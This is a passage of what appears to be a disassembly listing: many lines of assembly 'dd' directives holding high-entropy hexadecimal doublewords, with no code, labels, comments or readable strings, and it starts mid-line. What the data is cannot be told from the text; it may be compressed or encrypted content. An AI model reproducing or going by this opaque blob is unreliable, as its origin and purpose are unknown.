0EC4C78D7h dd 22671354h, 42B1F017h, 1B73E103h, 0C098FACCh, 8064FA50h dd 0BC4AB0F6h, 0D523E02Fh, 27D79E00h, 0C7BCAD9h, 2B9101A6h dd 70000941h, 323E2E43h, 0D2CB72h, 9D1804E6h, 74C1830Dh dd 87072090h, 0CBE07FFBh, 3F90BFB0h, 9BF94E93h, 0E7EE8070h dd 8078F7CDh, 692E1A89h, 8428FCD9h, 0D4D61F2Ch, 38884E08h dd 0CC7950Fh, 3B100AB3h, 101849A0h, 9300F524h, 88012AE5h dd 1D53C396h, 40C66CCFh, 42EE1B6Eh, 1513EF5Fh, 0B08B4D85h dd 99C0D5C8h, 7F1C6A86h, 30C4FCA2h, 0D4412890h, 2600ECF6h dd 5722021Eh, 1FC187h, 21FBFAABh, 0A967A28Dh, 0C1B43548h dd 2FA5CB9Eh, 83253C3Ch, 0CC78C8C8h, 0FDEE4E01h, 7280182Eh dd 3FC41980h, 197439CDh, 5BA66F0Bh, 0B60B00E8h, 0A1B18A8h dd 8368A9CEh, 4E8B0018h, 97447BF3h, 8E09A00h, 9DAC4334h dd 641E48EEh, 8CA0BCh, 0B6C59299h, 64A5D5DDh, 7A2D090Ah dd 7C26D068h, 6F212174h, 5B6A8780h, 7523193Ch, 0F04F4922h dd 3076597Dh, 0E89F5069h, 8F80D311h, 0D7FE9180h, 5A205900h dd 6776E5B3h, 92263424h, 51F4C260h, 607E3C49h, 0E99DF4h dd 0B080E5C9h, 0B9072058h, 88AA43E8h, 1DC2056h, 76AC2F58h dd 30D4B1C3h, 0C8006B2Ch, 7CBB6F72h, 73F87F7Eh, 584E7580h dd 773AB82Bh, 0C6566C03h, 9B906B83h, 0AE1F9985h, 84F83C48h dd 3F6E2B1Fh, 0B29F4480h, 74BC98A9h, 0C73D0192h, 0DA3C91FDh dd 0BED5F811h, 219729CDh, 46C71801h, 0BF4E498Eh, 48949092h dd 3DB5B805h, 128538D4h, 83A7EC1Ch, 16E5578Ch, 7DAC61B8h dd 0A565D5B2h, 91A41759h, 0E5A48079h, 0E83931h, 1177A25Eh dd 3DB9EB96h, 0AE68819Dh, 0EC006D52h, 5A3E5BCBh, 39BB0F14h dd 3E015EBh, 60498BFEh, 6F214EC3h, 686300F8h, 71FC448Ch dd 8D3201D0h, 771A2306h, 54442AB5h, 0DCBD7AB2h, 8026B4E8h dd 0B2088CB6h, 73502870h, 7461827Bh, 201E10D5h, 49A10048h dd 0DC19A677h, 0B824702Fh, 65259038h, 60A3E498h, 5FE7C8Ch dd 57BF1ADDh, 0F92CD1AAh, 0A49E4A1h, 686F8B05h, 0BCC87956h dd 1F0475B6h, 80A3316Bh, 3294C774h, 0FD053F03h, 0D1CD09F9h dd 0C4245807h, 97FA8930h, 88239F59h, 0E912827Fh, 0D454151Ah dd 91671828h, 97BFEA19h, 3FAD8000h, 17604E76h, 3AE7C098h dd 2A0AAFFh, 5E57C4h, 6A722DE5h, 467684B4h, 0A9C600D7h dd 2AB75A36h, 35760250h, 0B1CBF474h, 0FAC6BCE8h, 0D6C96B01h dd 31835CF0h, 30478FDCh, 0A7B9822Ch, 0CB2D38EAh, 44446745h dd 1881606Bh, 0AA88389Ch, 0CBE84E9Eh, 84501A97h, 6F733A16h dd 21B17CA3h, 38200C6Fh, 11AD47BDh, 8244D047h, 0C3F52060h dd 6CDF8E03h, 0C2074223h, 6C5936h, 0AAB3AD1Ch, 1DF06B57h dd 8389BD1Dh, 0E49CD40Ah, 30C49309h, 24023D10h, 42A4AF6Bh dd 0BB0080D6h, 0FC1D224Ch, 68E00ECCh, 3A9646A5h, 0A32370h dd 9C5F770Fh, 2361919Ah, 9BD05CA9h, 13EC4F70h, 29A48EBCh dd 0C2B2B14h, 0BA00A423h, 6125D6CEh, 0A6B78F1h, 7183632Eh dd 0DF6687A0h, 133970CBh, 9300C758h, 1BCFD3A2h, 4FAF826Fh dd 88D0CFD6h, 701CC07Bh, 91C9B9F1h, 4BC88283h, 80A40955h dd 106854A1h, 2D02C4D5h, 91ACBF6Bh, 65003CDAh, 3D799E07h dd 77C1E525h, 28EEE839h, 93C0C712h, 40297030h, 1C625604h dd 48B34F83h, 0A8E74052h, 6411CC0h, 705209CFh, 2C8281C1h dd 0CD649F3h, 3E624676h, 0AEF70264h, 421985A2h, 9D1CC409h dd 8C1DF0B7h, 32F5A9C1h, 0A0AC1F52h, 0E8682596h, 3A806837h dd 60F22A70h, 0BE3E1694h, 0A8D88586h, 8C78BC0Ch, 0E790DD03h dd 7E939CDh, 9BFF6F19h, 169CE19Dh, 4D68A7FEh, 70A0CEA8h dd 80BFC8A7h, 0D620390Bh, 0B1610DFBh, 0CB82A46Ch, 90003115h dd 3E095C33h, 924E3983h, 187407C4h, 31B1DB80h, 3BA8E3Eh dd 0FE3DAEDDh, 35E8892Eh, 99040BF8h, 0ED11EE0Ch, 3E4E58C0h dd 60F66BFAh, 0BE34DCC0h, 28C2EA4Ah, 0DF805D20h, 0B33FEEA0h dd 843ABF4Ah, 5E01AF23h, 5C967750h, 76CCC449h, 3C8B9F32h dd 0AA643467h, 0BF870260h, 35E7B909h, 1C07022h, 0D553AC49h dd 0E0F3F22Ah, 0A8B4137Ch, 0AE4674h, 1DF57CCBh, 38A0E869h dd 278BFF9Eh, 0D6007270h, 0A3B2732Fh, 0F1D47455h, 413CEFFDh dd 5C28801Dh, 72F668BAh, 1DD095Fh, 4079562Bh, 465C34A6h dd 509A002Fh, 410821EEh, 1EAA2D99h, 0AFE0ACCDh, 4B3F0E88h dd 68949DB5h, 8CAAACB0h, 32CC640Bh, 418C78D9h, 84302B76h dd 95633F5h, 0EB8382AAh, 8311509Dh, 0FB53B680h, 0BD1F2294h dd 0C981AF63h, 7096AAF5h, 0E9EF80D5h, 406D57EBh, 0CCF1BF14h dd 4885B8C8h, 78D10A77h, 0F0917CD5h, 2C829FBAh, 0F10731ABh dd 307C6728h, 0EF103F2Ch, 741AB33Dh, 0D6F5FF00h, 68A55EC6h dd 0DC70BEA8h, 98120298h, 0F8093D5Bh, 0D3850F1h, 5F9E7630h dd 8C342BB0h, 0A7F2A8A2h, 327D30h, 9E1CC5D1h, 9139995Ah dd 0AC8EBA4Bh, 9AB2810h, 9164F639h, 2F10BD34h, 805C3C26h dd 0AB0213A0h, 17FB04E0h, 0AE0D93Dh, 398CB440h, 56DBC902h dd 3C7A836Bh, 0F9B67800h, 0E241BF4Ch, 472901E7h, 6FF314Bh dd 16180B3h, 0E9E309EFh, 9F16075Eh, 31C1EEA2h, 3E9A2610h dd 0A767820h, 324EA98h, 6B795B1Eh, 34E8A890h, 477CB814h dd 9801FE4Fh, 4D09CB15h, 6BBB3980h, 0AC173DEEh, 0A2B01E7Eh dd 0E953F632h, 705CD37Eh, 18B7D5FBh, 7DC445D0h, 0EA89805Fh dd 5A500F49h, 1480F034h, 7A17839h, 1E838471h, 5968E24h dd 0F8A5C798h, 30D6EDBCh, 0BC385F06h, 9ECB80C5h, 0C390EF0Dh dd 0E73C3D05h, 2C6263A7h, 0B5C44856h, 0F4B8B244h, 1D03EEB0h dd 412A3423h, 0E3F6C0CBh, 0C49EA9h, 125A089Dh, 57301809h dd 0E668167h, 4CDF0197h, 0D53C7862h, 3F45F41Ah, 7069AB24h dd 1DC39908h, 79CDC218h, 88A4E8C6h, 0A1A8C883h, 588CE600h dd 16B51F1Bh, 0AD86256Eh, 37D76CC0h, 84C8255Bh, 0D11B62C5h dd 3CD42EA5h, 8674912Fh dd 3C94D0D0h, 23F5854h, 43C9096h, 0CC597Ch, 0C14D811Dh dd 36C53AD7h, 3EA43806h, 7E004107h, 4D6BDD0Fh, 0F99BCD81h dd 0A5810828h, 75A33EAh, 916010C9h, 2410F2F2h, 85220Bh dd 0C7EF3CA5h, 874B713Fh, 0E5C97C80h, 41B288E3h, 7492404Bh dd 0BD072560h, 13448ACh, 0DE7B317Fh, 218F7455h, 726CC465h dd 6B27F2F9h, 0CF04225Ch, 4EBD026Fh, 8054C8F8h, 0D326ECACh dd 60AFF8A5h, 0C24627BCh, 89FE2D39h, 19EEB300h, 98AF120Eh dd 1038E665h, 0EEF9860Ch, 259AB30h, 0C3F6B14Fh, 78542489h dd 46766426h, 0D7180E84h, 6E74C1E4h, 682015A8h, 9CAE484Fh dd 178C62F8h, 0CC357958h, 51DFFFC0h, 193C3D0Ch, 0D4180939h dd 0A0A077C1h, 0C79428B8h, 65639B2Dh, 6014E4C8h, 9462095h dd 17A85080h, 4070A804h, 0E65431EAh, 732601ACh, 7F58D985h dd 9AD842C1h, 0CF1BF4A0h, 189C3C79h, 9476838Ah, 0F253E681h dd 0E2FFFF7Bh, 1981C02Ah, 0D154B1B4h, 84D41978h, 0A43CE3FDh dd 0FF014920h, 0D2F34A8Bh, 81A670BFh, 22F91EBCh, 6A60B279h dd 1B4C2019h, 45BD01D0h, 4D128FE9h, 7DDE60F9h, 7256ECE7h dd 0C98C0C1Ch, 0D4126E64h, 8588DCCBh, 0A1F273C0h, 0B106059Ah dd 33A0B534h, 0F79C27E8h, 34017D6Ch, 777DAD73h, 0A82017C1h dd 0E0429587h, 7DC547Ch, 0F0A89E2Eh, 0CB3600B5h, 34244FF8h dd 6882B012h, 0A746E470h, 0C4101B90h, 3EFD3FAEh, 0FB3216F4h dd 0C85C3E08h, 631065BAh, 489FB881h, 61E27023h, 0B5DF033h dd 18409890h, 0CC0C4DE2h, 98D073ABh, 53F211DCh, 6FFCC324h dd 0AA73D964h, 0C901D07Ah, 2A39909h, 0DC5ACE07h, 3C74772Ah dd 143F3120h, 1081803Bh, 2C45609Eh, 96281C3Ah, 0BE90DC26h dd 0B72B320h, 0D995EB74h, 0B656A4A1h, 9DCF027Eh, 846011E8h dd 0A3C5B83Fh, 0CA4FAC20h, 8BB30066h, 49E4C44Dh, 98A8B206h dd 203B9FBh, 0B709F3BDh, 27EDA031h, 0F2BE1E12h, 0A80DD2F5h dd 0C66225E8h, 56D8B644h, 14CD446h, 0C910AE00h, 0FB634914h dd 724EB809h, 60E8ED11h, 0FAA69150h, 0E3BE0714h, 8572EB8h dd 80DA1197h, 0C29708C0h, 0C10BDF83h, 0F00F01CDh, 889A95C8h dd 2F79ECD1h, 0D4388718h, 40D5A7EBh, 25BF560Ch, 5C536BC2h dd 12D63D0h, 9EB0E830h, 84289DE3h, 0BD686B58h, 0D7C81DAFh dd 0D8F24Fh, 10E0B6C0h, 0A7C468h, 9D84D71Bh, 1E59A192h dd 0D5E5F202h, 62129A5Ch, 2DB4D4FCh, 5961F06Dh, 206B1D24h dd 0C142F600h, 15B2A005h, 0C8C11E0Dh, 0C2C69C3h, 0F5831302h dd 0D474F0A4h, 8B3F3903h, 98EC8160h, 5C6F9470h, 0AF90FC73h dd 0FFF1C845h, 0B0819ACh, 0B46FD951h, 75653F40h, 92F15167h dd 249E49F4h, 0BE5C8891h, 286D4A4h, 61A0CEC7h, 0D8300355h dd 60B8C4EBh, 80C49BD6h, 0DC2F9E99h, 42A62731h, 7B565060h dd 6359A1C1h, 6430B117h, 60B80B37h, 0EC827E82h, 84438FAh dd 51C36E12h, 4E3E0C80h, 2DACB48Ch, 85E4F0E5h, 0D1FF760h dd 0CEBED500h, 6641B3ABh, 60F325FEh, 689098C6h, 0BFC35C04h dd 28F969A3h, 0F408F1B9h, 102739F2h, 112C6004h, 12C87BDCh dd 6E2513EFh, 6ED010BCh, 2BC0CBCFh, 0EA396356h, 903827BDh dd 6020E072h, 76B71E0h, 50D6ECF5h, 0FD806451h, 8A2A0098h dd 8D2B2DF1h, 6CD500CEh, 5A4FBA75h, 110943FDh, 2A9554Ch dd 565F4288h, 2F465E90h, 0F61C0A76h, 84ACF9E3h, 0E402AFB0h dd 0A35EC3A0h, 0A7484401h, 188061E2h, 9121CFD7h, 0D490FF46h dd 4084B00Bh, 7B44D1DEh, 32FE60D4h, 71CE0331h, 0D03DFB0Ch dd 0F856C5A2h, 6ED32174h, 92066B80h, 2CE7DFh, 9BEFFE5Ah dd 0A3AECDBFh, 49E52FCh, 3FAE465Eh, 282280B3h, 5B19CDDFh dd 0FB9B00FFh, 25A4AACAh, 0A14C3F02h, 58CD4A0Ch, 511D2872h dd 14DAC02Ch, 0CD2F0365h, 263C471Fh, 741B28F2h, 0F100DC88h dd 0A904ED94h, 0B601EB9Ch, 27522478h, 31CB1C64h, 0CAD60B66h dd 761CC974h, 0C453E1A5h, 71F4D371h, 1DC300D8h, 3FAC4514h dd 58670E56h, 7C13C978h, 0BCB5CCA0h, 0C1F1BC66h, 0BF28C82Fh dd 2BB74E1Fh, 3BA9B200h, 3CA8062Eh, 0B98FAAC8h, 46A4B338h dd 0C02CB810h, 729F684Ah, 0CB3800A8h, 57FBB86Fh, 0AF904B6Eh dd 1C74BBE4h, 20637D25h, 155491A0h, 5329CD6Bh, 63180021h dd 48C7CAC0h, 71496AC8h, 0E592BD98h, 5B3482F8h, 6CC80705h dd 86040087h, 0A9EF2E11h, 0CD05C8ADh, 485FC075h, 0C06BFC08h dd 0F6108656h, 0B02CB25Fh, 87AE09AFh, 94022428h, 0F8EC9058h dd 0F31070F2h, 0CE023C5Bh, 4864E1C3h, 7A50405Eh, 68208072h dd 6D4AA572h, 7423848Dh, 7430D7A2h, 0B1C0046h, 5A4EFF9Dh dd 6013A69Fh, 7CC081E3h, 974741B2h, 22A52018h, 98B1F728h dd 3EFB0A18h, 38B850h, 742AD7F4h, 3090E4E3h, 0C304BF73h dd 1EE0989Dh, 0A0C8E08Bh, 0D979A2C0h, 0AE9E04CBh, 907A5618h dd 1A912834h, 704E7400h, 8E59BE36h, 0BF07F0A0h, 2CDE0C20h dd 8707F2F3h, 0BAFEA42Fh, 14160F00h, 0DC03094Ch, 0D8511B50h dd 1A0B9FA6h, 21406869h, 0AF5080DAh, 4C9D7C98h, 3CA00C0h dd 55176AE9h, 650ED711h, 21579FDh, 0B2536BC5h, 7080DB98h dd 56304307h, 54F0716Dh, 1B8B00BDh, 26825781h, 0F200E7BCh dd 5A3558DDh, 0B0B2C587h, 9E797EB4h, 60352F34h, 2691D686h dd 0EBBF0589h, 80629ED4h, 5F667FC7h, 8B75F93Ah, 923F7978h dd 8FA440D4h, 0AC568254h, 0D1B86162h, 15E9022Ch, 0E6C0DBACh dd 0A5F4A922h, 0BDF7FA17h, 5225CC42h, 2D250F7Bh, 0FEB70972h dd 0F6121050h, 0A09B58AEh, 0F648D580h, 2041B1F3h, 6E625888h dd 1239F21Fh, 14BC1441h, 18CADE8h, 76EE3023h, 2CD54DC3h dd 0C8B12DC0h, 13522498h, 12781AEDh, 0C87C8BA4h, 4DCAC0D5h dd 4209E36Ah, 59869DC7h, 49188380h, 0A194AF82h, 0E4DB2F00h dd 0D87EF8Fh, 782C0035h, 6616A42Dh, 0B4A26AAEh, 521840h dd 0D79FF2ACh, 4B6BDD97h, 8126AB00h, 67878A98h, 0E566169Eh dd 15BCA01Ch, 948BF95Bh, 970063DDh, 92F49E5Bh, 66D7050Fh dd 0FC3D798Ah, 1C21C17Ch, 0CC725694h, 0BEA4750Eh, 0C190B12Ah dd 3841E36Eh, 90DD4A40h, 7AE27862h, 2DF3330h, 66A56BA1h dd 905C63A9h, 75D2B151h, 638A8BDh, 2BB5CBF4h, 0A36B09B0h dd 5453529Bh, 0F501F70h, 0C5E7A052h, 687995EBh, 85A06E25h dd 637BC484h, 6DA81465h, 0EA84AC21h, 0EB96024Fh, 0F9B8D8A1h dd 7868344Dh, 38C82ACh, 3C40159h, 489046B7h, 902EA7C1h dd 4F1F5DCFh, 0D88DD74Dh, 0F590302Bh, 763E31CDh, 0E2779356h dd 986D44B0h, 721C4558h, 30D5F250h, 41004AF7h, 0D7D3DC18h dd 113CF26h, 0A5A27924h, 79B417EAh, 5CAD808Ch, 3A01462Eh dd 41807205h, 39256428h, 30253A56h, 0E7686DB8h, 0FA755242h dd 6E51A05Ch, 0FE2021h, 74449B2h, 608D7B07h, 4080B309h dd 5C4DF9E5h, 0BE174411h, 0FF80839Ch, 206881E0h, 271E9400h dd 0BF49EEAAh, 987E4836h, 72BAB282h, 38C42Bh, 0CDFE4CEEh dd 70A8FCECh, 88F89D95h, 85606ED7h, 0FAAB401h, 0F9DB66B8h dd 0C177D941h, 0E544E4E3h, 0DEBE3500h, 6C3ED4ADh, 40B949CBh dd 6AF8C609h, 15E424C5h, 60014161h, 9D1E8BB4h, 79D69FA8h dd 3480CC94h, 96751620h, 0D7B81F40h, 1EECB20Eh, 59D2BE30h dd 0A4F2ECE3h, 2E94C630h, 47DBA1h, 0DA917339h, 9A137D49h dd 98E21F40h, 0DC952F00h, 0BFE8C78Fh, 0BC69AA0Eh, 0B49FC113h dd 252E67CBh, 4068F36Ch dd 0C6603994h, 0E0A63418h, 17C890FAh, 4301E396h, 0F6EB8214h dd 96C7CDC1h, 0EC219028h, 4ADCF2A6h, 0D9462505h, 4944C059h dd 0D7C8A88Fh, 2EB7CBC0h, 76C20031h, 670B1938h, 8E17C970h dd 2CCB6D02h, 0CC0063DDh, 81147EAh, 1285E29Dh, 2091EE1Bh dd 2D92CE90h, 3C0017E8h, 246A68AEh, 58A13A98h, 120974C1h dd 5445EEC7h, 4460A4E4h, 0EA002E84h, 0D5A7FEA5h, 121B3CA2h dd 88E9CB76h, 9F2C3FA4h, 47A7D883h, 8F516FD4h, 2ED9C0B3h dd 3307BDA7h, 938827A1h, 0EEE09160h, 4F6D0F1Bh, 88448E13h dd 0C0A1C7A0h, 15734D3Dh, 0B21CB16h, 48B27452h, 0B2B10C00h dd 0D3353FBBh, 0CFB38902h, 0E7F473FBh, 6F2E4274h, 0F0DE718h dd 3B13C954h, 5CC266A3h, 0A755B5F0h, 558EA13h, 15B2A8B3h dd 55A130h, 0CB49DF52h, 0EE5A12A2h, 393ACF00h, 0BC68584Fh dd 52B2755h, 21C2F8E5h, 74B0186Fh, 3F2FF509h, 27BC73B5h dd 2FE520E5h, 0B01A2820h, 45C327F6h, 56300C82h, 18815742h dd 5E5DE7CBh, 5F07DC30h, 8A550967h, 4CED0095h, 9DAAC0B9h dd 5317F700h, 0EC399031h, 1E1B0125h, 19C36089h, 0C08E3A2Fh dd 0A3C0A1C8h, 0BAB6AD7h, 57399AD0h, 5113F496h, 0C0426AAFh dd 5CE3E5C4h, 51B8CEF0h, 721E4D6Dh, 6300CB55h, 0EAA30810h dd 25CCBEE3h, 0B23345Ah, 1D611ACh, 70E93F90h, 2888F0C0h dd 0F4125FEFh, 255058E4h, 288F42AFh, 305C3F69h, 7646A11Dh dd 4E1863EEh, 6628F0C0h, 0B0F34501h, 77512FF4h, 208542E5h dd 91E1EBF6h, 50249068h, 2F22A3C4h, 4770A860h, 0B56E97C4h dd 48576CA2h, 0BB8EE501h, 259301D8h, 0B8C0DD4Fh, 0C775361Ch dd 45C16F00h, 0C6793EF5h, 39E0A8CDh, 0F4084C18h, 0EFCFD7C0h dd 68050363h, 9EA7507Dh, 7707AC21h, 0A3B2E98Bh, 0CBF62C10h dd 0F8CABD20h, 0F40CA1BFh, 3FA19F1h, 68F3A63Eh, 0F9FBE116h dd 9BD6445Ch, 0D13F2006h, 0C04D0391h, 8167DDFDh, 18B6E006h dd 7D521AF3h, 0FAA328B1h, 70C90F78h, 9D709F0h, 0B4F0CEF3h dd 6F815660h, 165ACDFBh, 6FBAC53Dh, 886D004Ch, 2541DBD3h dd 7C0600CEh, 34D5EEBCh, 0B458BD2Ah, 0BC6E5E10h, 2DB92201h dd 3D573BA9h, 0A49F0064h, 0EF376C46h, 2E26082Bh, 0AC113E4Dh dd 618A4E00h, 3FA2CD94h, 582D0A00h, 0BD6A3493h, 9B470239h dd 6E70E4B5h, 0C16B085Eh, 73019180h, 78167F01h, 3AE00CA6h dd 30004124h, 99FDCA93h, 4AEB74B4h, 8738C2A5h, 0C9713CD3h dd 1C0D29C4h, 800391CFh, 0FF66324Ah, 4C12F1E3h, 0B0E102C2h dd 0C874CE3Eh, 0A1E3C07Ah, 0F648247Dh, 0DF02829Ch, 0F9F4044Ch dd 98B64B94h, 0FF92DFE0h, 2C90A32Eh, 44C9C802h, 7AF05CFCh dd 0DE59E840h, 0EC88164Ch, 5C278CACh, 18648Fh, 181CBE25h dd 722670C2h, 956D5404h, 0C48CF727h, 0AEC34405h, 10732622h dd 2D5EDE3h, 67F2231Bh, 20C07AA7h, 0F4FA9222h, 551CC295h dd 3400D03Dh, 0F8D0DEFEh, 0F1A90069h, 2DA5688Eh, 3D37A0E5h dd 898E082Eh, 191C0C2Fh, 2480BF10h, 0CA7989BCh, 0CBEC9206h dd 0B7882729h, 0B8E5CC82h, 91449D57h, 0AD91806Bh, 5C808E0h dd 98193924h, 65CCC16Bh, 580826F6h, 8EA1B898h, 75774100h dd 6CEBDC17h, 0E8CD4DCBh, 10A63402h, 0F8E7D0B9h, 50678364h dd 473157E1h, 1EC07900h, 0E0F5C999h, 1F603E72h, 7A6E560Bh dd 0C52964DAh, 518B9825h, 76AC5CBFh, 8B096246h, 0A0483079h dd 2114FE75h, 883424ECh, 0D37810B8h, 25A094A6h, 0C509DA0Dh dd 79E0E5C8h, 51164674h, 29EBF41Ch, 8C777877h, 398BE930h dd 207898CFh, 1E018523h, 0A751D7F3h, 8C406066h, 3EBC1FEFh dd 0E903EA49h, 0B3277519h, 6B7F92C9h, 84C8348Eh, 9A9C28C3h dd 694AE037h, 7D83378Eh, 110EE021h, 0CF391C5Ah, 9E3001Bh dd 2CED52D5h, 30781FBFh, 8CB4024Ch, 34F025CBh, 35EC1858h dd 706FF91Fh, 58561C00h, 0CFF588AEh, 33349909h, 187957h dd 0A88FC170h, 6874D7F4h, 0F125FC96h, 944D2764h, 964FA8C0h dd 0EE6E0EE3h, 4E9EAE29h, 0F8006399h, 0BF0FE96Bh, 491AAC00h dd 0CBB31C79h, 0F8A09D55h, 0DF9C156Ah, 12A46D00h, 0DC4CFFC7h dd 0F4681CD6h, 262CB10Fh, 58982B17h, 63B50420h, 0ADE7BBE2h dd 3C8A923Ch, 67C22FC8h, 0B150E0B0h, 9C9080D2h, 0D8F76E4Ah dd 0B1D3A6A0h, 0AC246909h, 0A5F473D1h, 0D3592C51h, 160E1A18h dd 6250288Bh, 5CFBD4F4h, 0A0504BE0h, 0E09DD84Bh, 0C7019441h dd 0E2BE1989h, 6427E4FEh, 615B0FB4h, 5F696402h, 945C740Bh dd 0ECA24113h, 18F2A900h, 865AE310h, 8A4BFB00h, 0CB01580Dh dd 98F34C77h, 5C306E89h, 0D25F3C7Fh, 0A9A3CC80h, 22903072h dd 2965C9F1h, 0A85FE31Eh, 9396058Eh, 0A2BEC483h, 64A05776h dd 6B4F7069h, 5500BFF8h, 9FCECBB2h, 0B0C5106Eh, 8ACF1DCCh dd 840789E7h, 65EB105Ch, 6063E438h, 0F3B3B0CFh, 1C4E7C22h dd 0F79D0A44h, 0F83BF6h, 72EDD402h, 79B5E75Fh, 0C02F1D4Bh dd 0C06ED310h, 6109D9EFh, 428FF5Dh, 0D0DD2080h, 39007FA6h dd 2130A290h, 2E655E94h, 85605FC4h, 0F8F3F215h, 0E8B2D630h dd 230ACB2h, 20390209h, 0F6563F36h, 0E7CF0CE8h, 75463517h dd 88100056h, 135D001Ch, 0CEE6044Dh, 0FA260037h, 78F89076h dd 6F03A280h, 0B72E41FEh, 7DC0B2CBh, 7B116C1Fh, 0C4025889h dd 3001C429h, 226FA676h, 88707908h, 97983801h, 0CEF71F50h dd 0A5BCCC3Bh, 0A1771A10h, 0F0399000h, 1B192686h, 35CB6E04h dd 0B4B816D0h, 7320D1E4h, 0FAA30068h, 4866619Bh, 7977C79Fh dd 24B04B64h, 0E671D21Dh, 6DEAE074h, 8C67002Fh, 21E2459h dd 72D7C11h, 67C8CF76h, 21C300F2h, 44BCAB1Fh, 1E4B0CC0h dd 0CE540043h, 7767900Eh, 0A5777FE3h, 48AE6407h, 321F7E24h dd 0BAB218B8h, 0BECE2516h, 6F250870h, 90ECC592h, 68AFB1CBh dd 0C86129A5h, 10184146h, 6249A597h, 61EC56FCh, 2DFB3E7Eh dd 0E6B8B8h, 97072552h, 0CC390BDh, 0F3A96125h, 6B3C8DD0h dd 9CDB2B59h, 51AA8480h, 350FC58Eh, 0A08C651Fh, 70CC0750h dd 0E09497B9h, 3E61A161h, 3C9276h, 0D644CC4Ah, 0C089EA4Bh dd 4C6F2Ah, 20EACAB8h, 4B5749EDh, 2A489D87h, 7B806C9Ah dd 0A63F81EAh, 891EFA38h, 5C289C97h, 3876CB1Ch, 61C816D4h dd 686C0062h, 4CE745A5h, 11209D9Fh, 0FD4D807Ah, 4B04CF90h dd 6F8CCD4Fh, 784C820h, 4849005Dh, 2281B0EEh, 0BC4BF986h dd 0BC11F88Ch, 1D17D600h, 8D003F61h, 9ED6E655h, 22A31310h dd 988B9ABh, 5C8D363Dh, 3979E258h, 0BB123CD4h, 8D258B8h dd 61823E34h, 0C08FE5C9h, 5BFCF0D4h, 0B2B8E338h, 0CE7930AFh dd 0B9105909h, 0A8C07145h, 74E10490h, 0E83C86FDh, 30EABD70h dd 9A73F4D3h, 0E48C5700h, 5EBFA384h, 241E0E69h, 0E7B2F6BAh dd 549A5FB8h, 13E0AC81h, 0D50FE503h, 58106ADAh, 16C0228Ch dd 0A2025756h, 12244C90h, 0B4295A4Eh, 79CAD9F3h, 7238777Eh dd 0DCD01256h, 1648BF49h, 0BC6AC367h, 0EB01AF23h, 60C6A751h dd 0C2113841h, 4E576600h, 0CBEC89C1h, 0A004C645h, 0B84399E0h dd 0FE3061E2h, 0B8524D1h, 1EEE0720h, 48658620h, 0F796F44h dd 0DC930173h, 0F251CAC0h, 9C007646h, 0A0961DC9h, 9DA6B306h dd 0B856D8CAh, 82ECB840h, 1C934C0Bh, 0E8529B14h, 138CADE8h dd 0A66ACBB0h, 90B228C4h, 1ECA3D20h, 692A5630h, 6442C2E0h dd 806A6D11h, 0A1751DD8h, 8A544Bh, 0A56E4079h, 5D9B2216h dd 41D2D0B4h, 6D900171h dd 7C883EA6h, 828F00FCh, 0E8FEFAA9h, 0F07CEEAh, 3EA1B6D2h dd 0F119831Eh, 0E8D0F44Ch, 4FF328E8h, 0E8585AF9h, 0DE0C54h dd 1015C554h, 0AC685B6Ch, 838CEE07h, 893002B1h, 0C205CB94h dd 57FA3EF1h, 0B9891456h, 0D8F68622h, 347A0078h, 0B236103Dh dd 6C13B72Bh, 84A02DCBh, 0EAA70962h, 4FE57F3h, 6B4676h dd 33F9C134h, 0E16077h, 3EEE358Ch, 78C9FF97h, 9D9EC409h dd 69B88168h, 0F5F066FEh, 27AD77ABh, 381D1E9Ch, 0C1867B11h dd 0C0C2B066h, 7D4426DFh, 828708B7h, 43302B78h, 5545A86h dd 4D174424h, 4C09AB73h, 60D9FFh, 52C54959h, 0E9128C21h dd 180177AEh, 0FF69D1F7h, 81A4DB3Fh, 0F497F687h, 8804C431h dd 7C6EEFh, 57ACE84Ch, 80702E77h, 61E129EFh, 0FE8830F4h dd 70829F5Ah, 0D8F8F98Ah, 1866F2Eh, 0FB8051B7h, 73F30835h dd 30D2E224h, 1C054ABAh, 2977653Fh, 0E680FCF8h, 4D7D428Ch dd 2F67C616h, 0AABCACBCh, 537D038Ch, 0B4079574h, 0E78C1900h dd 0EBBBA15Bh, 364A01EFh, 0B3ACD308h, 20B449BEh, 6595E090h dd 21E21AACh, 2DDC1874h, 6480D597h, 3A1E29F4h, 0CDF030E9h dd 4B1B2B80h, 7CA4C857h, 9A0E040Fh, 0AC856034h, 9CCE1563h dd 4F700B90h, 0D7F4A401h, 541E2E6Fh, 0E302A3C4h, 55275CA8h dd 0E49C04CEh, 7FE03ED4h, 2A50F83h, 58415663h, 30382BA4h dd 5D1A42DFh, 274BA850h, 24447094h, 0ECE05800h, 0F44EFE40h dd 5E80B451h, 0E9006146h, 0BD100F5Fh, 9ABF3D79h, 825DD6Ch dd 4430ABA9h, 143F9A18h, 9C7D6E56h, 0B4AEFF14h, 196C200Eh dd 68B72DBEh, 0B1D09E02h, 0C9085C1Dh, 0C552BC54h, 61A3C424h dd 0B6D8A148h, 2280B052h, 46B5795Ah, 0DB7AEB48h, 55480DCh dd 254F8335h, 50EF786Eh, 0C821F141h, 9FD85E70h, 0BE75DC18h dd 8AF3B16h, 0A305D80Bh, 3AB69080h, 0E50B4821h, 4509A25h dd 12DF9E09h, 919C5609h, 0CF505082h, 0F0F3B141h, 4AF396E0h dd 0C13CC2E1h, 1160147Eh, 0BDEBDD65h, 0BD4070C0h, 57FB4614h dd 759C01B0h, 0BE1CE187h, 0E99430h, 811AA9F8h, 162DE74Dh dd 0C5886F63h, 0ABCDC036h, 0A510C494h, 1278B83Eh, 0A4B25233h dd 0CCAC0200h, 72FD5A12h, 6D4440F9h, 6717F5C9h, 3804C0B5h dd 0A3016E62h, 80521BF2h, 0A5A7FEC8h, 0F8BB3EECh, 51D72DFAh dd 38401C5Ah, 0E4A495EEh, 108450D4h, 71255D3h, 9014466Fh dd 96037923h, 0FB9CB377h, 8474D1D7h, 0A5818F40h, 0A0BF52F2h dd 983C3014h, 0C735F482h, 0CD91D056h, 8CF24Eh, 6048D2B8h dd 362371h, 3E285906h, 5D5E0724h, 0D3EC7C0Bh, 945679h dd 884CBB85h, 0B6519401h, 417C00A8h, 0C225792Eh, 20DC6C92h dd 4DB54340h, 27544A18h, 22CE94CDh, 56C1BA12h, 10DF40B8h dd 7B00CD27h, 3F14CBFAh, 0F095607Ah, 0EF280C72h, 83301F43h dd 0FFF442B5h, 2439803Dh, 460878ABh, 0DB730585h, 55ECB466h dd 9BE9A4ABh, 0A2307363h, 0D2893060h, 1CC8694Ah, 0FD303F4h dd 0F6D1DF50h, 4379B288h, 0A767B43Bh, 